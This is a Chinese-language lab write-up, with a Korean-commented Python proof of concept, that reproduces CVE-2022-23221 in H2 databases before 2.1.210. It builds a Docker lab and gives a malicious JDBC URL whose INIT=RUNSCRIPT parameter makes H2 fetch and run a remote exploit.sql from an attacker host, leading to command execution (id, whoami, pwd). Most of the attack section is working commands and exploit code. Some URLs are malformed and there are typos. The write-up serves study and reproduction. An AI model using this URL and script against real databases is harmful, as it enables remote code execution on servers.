H2 是一个关系型数据库管理系统,它提供了在 SQL 引擎内部直接编译并执行 Java 代码的功能。
H2 驱动会解析 JDBC URL 以建立应用程序与数据库之间的连接。此时可以通过 URL 中包含的配置参数来控制数据库的初始状态或行为。
存在问题的 H2 2.1.210 之前版本存在一个漏洞:可以通过 JDBC URL 的 INIT 参数执行远程 SQL 脚本。攻击者利用这一点,从远程注入精心构造的 SQL 脚本,并通过其中的语句执行系统命令,从而触发 CVE-2022-23221 漏洞。
该漏洞的特点如下。
漏洞影响范围
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’。
IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> 绕过安全设置
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> 在应用程序与数据库连接时自动执行的 SQL 命令
CREATE ALIAS SQL 语句。
CREATE ALIAS 语句会使 H2 在数据库内执行脚本中的 Java 函数,最终导致 RCE 发生。场景
id、whoami、pwd 的执行结果,则说明已搭建存在漏洞的 H2 环境,并且 H2 在解析恶意 JDBC URL 的过程中从外部 attacker 服务器远程下载并执行了 exploit.sql 文件。环境搭建
docker compose up -d

http://your-ip:8082tcp://your-ip:9092http://your-ip:8000 : 提供 exploit.sql 文件配置环境后,访问 http://your-ip:8082 会出现 H2 网页。
: 由于 Web 控制台应用了安全策略,作为漏洞条件的参数可能会被过滤,因此通过 CLI 直接输入包含恶意参数的 JDBC URL 来复现漏洞,并确认其结果。
正常 JDBC URL: "jdbc:h2:mem:test"
正常请求命令
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:mem:test" \
-user sa \
-password ""
执行结果

将恶意 JDBC URL 输入到 H2 驱动中,尝试与 attacker 服务器建立连接。此时输入 URL 的方法有两种。
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
-url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
-user sa \
-password ""
python3 poc.py

H2 按照 JDBC URL 的 INIT 参数中指定的 INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql',向 attacker 服务器请求(HTTP GET)exploit.sql 文件,并在 H2 数据库内执行该文件。
docker logs attacker 即可确认从 h2-vulnerable 服务器发来的 exploit.sql 文件请求日志。docker logs attacker

#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys
"""
함수 이름: exploit_h2()
기능: H2 DB에 악의적인 JDBC URL을 전달하여 공격을 수행한다.
반환값: True->공격 성공, False->공격 실패
"""
def exploit_h2():
# H2 서버 준비 대기
time.sleep(3)
# 검증 우회 파라미터가 포함된 JDBC URL
# IGNORE_UNKNOWN_SETTINGS=TRUE: H2의 입력 검증을 우회함
# FORBID_CREATION=FALSE: 원격 DB 생성에 대한 경계를 제거함
# INIT=RUNSCRIPT FROM: 연결(시작) 시 원격 SQL 스크립트를 실행함
jdbc_url = "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
try:
# H2 Shell을 통해서 악의적인 JDBC URL로 연결됨
cmd = [
'docker', 'exec', 'h2-vulnerable',
'java', '-cp', '/h2-bin/h2.jar',
'org.h2.tools.Shell',
'-url', jdbc_url,
'-user', 'sa',
'-password', ''
]
# Docker 명령어 실행 및 결과
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=15
)
return True
except Exception as e:
print(f"[-] 에러: {e}")
return False
"""
함수 이름: main()
기능: 공격 실행 및 공격 성공여부를 출력한다.
반환값: 없음
"""
def main():
if exploit_h2():
print("[+] 공격 완료")
else:
print("[-] 공격 실패")
sys.exit(1)
if __name__ == "__main__":
main()
执行 exploit.sql 文件的结果是,h2-vulnerable 服务器的日志中会输出“EXPLOITED”字符串以及命令 id、whoami、pwd 的执行结果。
可通过 docker logs h2-vulnerable 查看日志。
docker logs h2-vulnerable`

=> 这意味着已构建出存在漏洞的 h2 环境,并且 H2 在解析恶意 JDBC URL 的过程中成功实现了文件的远程下载与执行。